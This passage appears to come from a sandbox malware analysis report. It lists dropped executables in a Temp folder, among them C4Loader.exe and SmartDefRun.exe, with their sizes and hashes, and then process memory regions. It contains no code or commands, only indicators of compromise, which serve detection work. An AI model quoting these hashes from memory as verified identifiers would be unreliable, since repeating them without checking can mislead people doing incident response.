
                              SHA1

                              31aa9d96590fff6981b315e0b391b575e4c0804a

                              SHA256

                              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                              SHA512

                              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                              Filesize

                              19KB

                              MD5

                              5b21a5fb9b7af888a1ebcde721485de5

                              SHA1

                              9516418be2d0fa2637097a3c1bfc1d116d12cbf6

                              SHA256

                              72ccad9cb8e2333357a779408a0b6e4d0668ad44ebcdd808b4c11bfd722fb835

                              SHA512

                              e38bd3f59dda7782c6b808732d76528f62bcee1cccdb56b7085750234b7776f226fc0d24f2bb1cb5cc909025846acfb0190a37c6aaab12c63558cd6b2e17fc72

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                              Filesize

                              948B

                              MD5

                              a7ce8cefc3f798abe5abd683d0ef26dd

                              SHA1

                              b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e

                              SHA256

                              5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a

                              SHA512

                              c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

                            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                              Filesize

                              1.4MB

                              MD5

                              bb86a343080f9f4696c250ef31a18d9d

                              SHA1

                              43b2193dcb1d56eac73ba88a7b461822074192d6

                              SHA256

                              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                              SHA512

                              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                              Filesize

                              1.4MB

                              MD5

                              bb86a343080f9f4696c250ef31a18d9d

                              SHA1

                              43b2193dcb1d56eac73ba88a7b461822074192d6

                              SHA256

                              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                              SHA512

                              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                            • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                              Filesize

                              3.7MB

                              MD5

                              f5c51e7760315ad0f0238d268c03c60e

                              SHA1

                              85ebaaa9685634143a72bc82c6e7df87a78eed4c

                              SHA256

                              ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                              SHA512

                              d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                            • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                              Filesize

                              3.7MB

                              MD5

                              f5c51e7760315ad0f0238d268c03c60e

                              SHA1

                              85ebaaa9685634143a72bc82c6e7df87a78eed4c

                              SHA256

                              ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                              SHA512

                              d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                            • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                              Filesize

                              1.4MB

                              MD5

                              b6bbab9f72c88d07b484cc339c475e75

                              SHA1

                              f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                              SHA256

                              dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                              SHA512

                              1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                            • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                              Filesize

                              1.4MB

                              MD5

                              b6bbab9f72c88d07b484cc339c475e75

                              SHA1

                              f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                              SHA256

                              dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                              SHA512

                              1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                            • C:\Users\Admin\AppData\Local\Temp\new2.exe

                              Filesize

                              674KB

                              MD5

                              e479ecb1802253a4c94767c8af306baf

                              SHA1

                              846bb5d88b91b8aa17bdb58eaf246b10e6586402

                              SHA256

                              b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

                              SHA512

                              b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

                            • C:\Users\Admin\AppData\Local\Temp\new2.exe

                              Filesize

                              674KB

                              MD5

                              e479ecb1802253a4c94767c8af306baf

                              SHA1

                              846bb5d88b91b8aa17bdb58eaf246b10e6586402

                              SHA256

                              b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

                              SHA512

                              b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

                            • memory/604-221-0x00007FFA96690000-0x00007FFA966A0000-memory.dmp

                              Filesize

                              64KB

                            • memory/1892-190-0x00007FFAB6A30000-0x00007FFAB74F1000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/1892-186-0x00000235ECD50000-0x00000235ECD72000-memory.dmp

                              Filesize

                              136KB

                            • memory/2232-214-0x0000000140000000-0x0000000140029000-memory.dmp

                              Filesize

                              164KB

                            • memory/2232-215-0x00007FFAD6610000-0x00007FFAD6805000-memory.dmp

                              Filesize

                              2.0MB

                            • memory/2232-220-0x00007FFAD6610000-0x00007FFAD6805000-memory.dmp

                              Filesize

                              2.0MB

                            • memory/2232-211-0x0000000140000000-0x0000000140029000-memory.dmp

                              Filesize

                              164KB

                            • memory/2232-219-0x0000000140000000-0x0000000140029000-memory.dmp

                              Filesize

                              164KB

                            • memory/2232-216-0x00007FFAD58F0000-0x00007FFAD59AE000-memory.dmp

                              Filesize

                              760KB

                            • memory/2308-139-0x0000000000400000-0x0000000000405000-memory.dmp

                              Filesize

                              20KB

                            • memory/2308-133-0x0000000000400000-0x0000000000405000-memory.dmp

                              Filesize

                              20KB

                            • memory/2880-184-0x00000000055B0000-0x00000000056BA000-memory.dmp

                              Filesize

                              1.0MB

                            • memory/2880-177-0x0000000000400000-0x0000000000420000-memory.dmp

                              Filesize

                              128KB

                            • memory/2880-208-0x0000000006140000-0x000000000615E000-memory.dmp

                              Filesize

                              120KB

                            • memory/2880-183-0x0000000005480000-0x0000000005492000-memory.dmp

                              Filesize

                              72KB

                            • memory/2880-207-0x0000000005860000-0x00000000058D6000-memory.dmp

                              Filesize

                              472KB

                            • memory/2880-182-0x0000000005A00000-0x0000000006018000-memory.dmp

                              Filesize

                              6.1MB

                            • memory/2880-185-0x00000000054E0000-0x000000000551C000-memory.dmp

                              Filesize

                              240KB

                            • memory/3676-157-0x0000000007470000-0x0000000007492000-memory.dmp

                              Filesize

                              136KB

                            • memory/3676-144-0x00000000050C0000-0x0000000005126000-memory.dmp

                              Filesize

                              408KB

                            • memory/3676-141-0x00000000024A0000-0x00000000024D6000-memory.dmp

                              Filesize

                              216KB

                            • memory/3676-151-0x00000000070E0000-0x00000000070FA000-memory.dmp

                              Filesize

                              104KB

                            • memory/3676-149-0x0000000006360000-0x000000000637E000-memory.dmp

                              Filesize

                              120KB

                            • memory/3676-142-0x0000000005170000-0x0000000005798000-memory.dmp

                              Filesize

                              6.2MB

                            • memory/3676-143-0x0000000004E20000-0x0000000004E42000-memory.dmp

                              Filesize

                              136KB

                            • memory/3676-148-0x00000000744B0000-0x00000000744FC000-memory.dmp

                              Filesize

                              304KB

                            • memory/3676-147-0x0000000006F90000-0x0000000006FC2000-memory.dmp

                              Filesize

                              200KB

                            • memory/3676-158-0x0000000008350000-0x00000000088F4000-memory.dmp

                              Filesize

                              5.6MB

                            • memory/3676-150-0x0000000007720000-0x0000000007D9A000-memory.dmp

                              Filesize

                              6.5MB

                            • memory/3676-156-0x0000000007350000-0x0000000007358000-memory.dmp

                              Filesize

                              32KB

                            • memory/3676-155-0x0000000007360000-0x000000000737A000-memory.dmp

                              Filesize

                              104KB

                            • memory/3676-154-0x0000000007310000-0x000000000731E000-memory.dmp

                              Filesize

                              56KB

                            • memory/3676-145-0x00000000057A0000-0x0000000005806000-memory.dmp

                              Filesize

                              408KB

                            • memory/3676-153-0x00000000073A0000-0x0000000007436000-memory.dmp

                              Filesize

                              600KB

                            • memory/3676-146-0x0000000005DB0000-0x0000000005DCE000-memory.dmp

                              Filesize

                              120KB

                            • memory/3676-152-0x0000000007150000-0x000000000715A000-memory.dmp

                              Filesize

                              40KB

                            • memory/3888-165-0x00000000006A0000-0x000000000080C000-memory.dmp

                              Filesize

                              1.4MB

                            • memory/3888-167-0x00000000050A0000-0x0000000005132000-memory.dmp

                              Filesize

                              584KB

                            • memory/3888-172-0x00000000055C0000-0x00000000055CA000-memory.dmp

                              Filesize

                              40KB

                            • memory/3944-210-0x00007FFAD58F0000-0x00007FFAD59AE000-memory.dmp

                              Filesize

                              760KB

                            • memory/3944-217-0x00007FFAD6610000-0x00007FFAD6805000-memory.dmp

                              Filesize

                              2.0MB

                            • memory/3944-218-0x00007FFAD58F0000-0x00007FFAD59AE000-memory.dmp

                              Filesize

                              760KB

                            • memory/3944-206-0x00007FFAB7A00000-0x00007FFAB84C1000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/3944-209-0x00007FFAD6610000-0x00007FFAD6805000-memory.dmp

                              Filesize

                              2.0MB

                            • memory/4244-175-0x0000000002377000-0x000000000287B000-memory.dmp

                              Filesize

                              5.0MB

                            • memory/4244-188-0x0000000002881000-0x00000000029BE000-memory.dmp

                              Filesize

                              1.2MB

                            • memory/4244-173-0x0000000002377000-0x000000000287B000-memory.dmp

                              Filesize

                              5.0MB

                            • memory/4244-174-0x0000000002881000-0x00000000029BE000-memory.dmp

                              Filesize

                              1.2MB

                            • memory/4824-202-0x00007FFAB6A30000-0x00007FFAB74F1000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/4824-203-0x00007FFAB6A30000-0x00007FFAB74F1000-memory.dmp

                              Filesize

                              10.8MB